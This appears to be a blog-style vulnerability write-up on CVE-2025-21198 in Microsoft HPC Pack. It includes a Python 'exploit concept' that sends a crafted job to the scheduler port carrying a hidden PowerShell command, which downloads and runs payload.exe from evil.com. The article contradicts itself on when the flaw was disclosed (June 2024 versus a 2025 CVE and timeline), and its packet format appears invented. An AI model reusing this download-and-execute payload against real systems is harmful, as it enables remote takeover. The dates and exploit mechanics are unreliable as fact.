On June 11, 2024, Microsoft revealed a critical security vulnerability affecting their High Performance Compute (HPC) Pack—CVE-2025-21198. This vulnerability allows remote attackers to execute arbitrary code on servers running the HPC Pack. Since this service is widely used in organizations for parallel computations, the potential risk affects both private companies and research institutions. In this article, we will break down what CVE-2025-21198 is, how it works, and demonstrate a simplified exploit concept to understand its risks.

> Disclaimer: The sample code and information presented here are for educational purposes only. Do not exploit systems you do not own or have explicit permission to test.

What is Microsoft HPC Pack?

Microsoft HPC Pack is a collection of tools and services for managing and running high-performance computing workloads, often across clusters of Windows servers. It enables administrators to deploy parallel jobs utilizing the full computational power of their infrastructure.

Original Advisory

- Microsoft Security Update
- NIST NVD Entry

How Does the Exploit Work?

The vulnerability resides in the Job Scheduler Service's handling of network messages, typically using port 909 (default). Unsanitized input in the serialized job submission allows an attacker to embed malicious commands, which the service then executes with SYSTEM privileges.

Code Snippet: Example Exploit Concept

Below is a conceptual Python snippet to send a malicious job to a vulnerable HPC Pack scheduler. *Note: This is a simulation and does not include dangerous payload data.*

import socket
import struct

TARGET_IP = '192.168.1.100'
TARGET_PORT = 909

# Malicious payload (command to be executed, e.g. download malware)
malicious_command = 'cmd.exe /c powershell -nop -w hidden -c "Invoke-WebRequest -Uri http://evil.com/payload.exe -OutFile C:\\Temp\\payload.exe; Start-Process C:\\Temp\\payload.exe"'

# Construct a fake job submission packet
def build_job_packet(command):
    packet = b'HPC_JOB\x00'
    packet += struct.pack("I", len(command))
    packet += command.encode()
    return packet

# Connect and send the malicious job
def exploit(target_ip, target_port, command):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((target_ip, target_port))
        job_packet = build_job_packet(command)
        s.sendall(job_packet)
        print("[+] Malicious job sent!")

if __name__ == '__main__':
    exploit(TARGET_IP, TARGET_PORT, malicious_command)

The exploit forms a packet like an HPC Pack job submission but inserts a malicious Windows command.

- When the scheduler service parses and executes the job, it unwittingly runs the attacker's command under high privilege.

Mitigations

- PATCH IMMEDIATELY: Update to the patched versions as recommended by Microsoft.
- Restrict Network Access: Limit access to the scheduler service port (909/tcp) via firewall rules.

References & Further Reading

- Microsoft HPC Pack Download and Documentation
- Official Microsoft CVE-2025-21198 Advisory
- NIST CVE Summary
- Sample Security Blog

Conclusion

CVE-2025-21198 underscores the risks of running cluster management services exposed to untrusted networks. If you run Microsoft HPC Pack, ensure your cluster is updated and *never* expose its management ports to the public internet. Exploitation is trivial, and the consequences are severe. Always monitor advisories and patch critical vulnerabilities quickly.

Timeline

Published on: 02/11/2025 18:15:31 UTC
Last modified on: 02/28/2025 16:02:50 UTC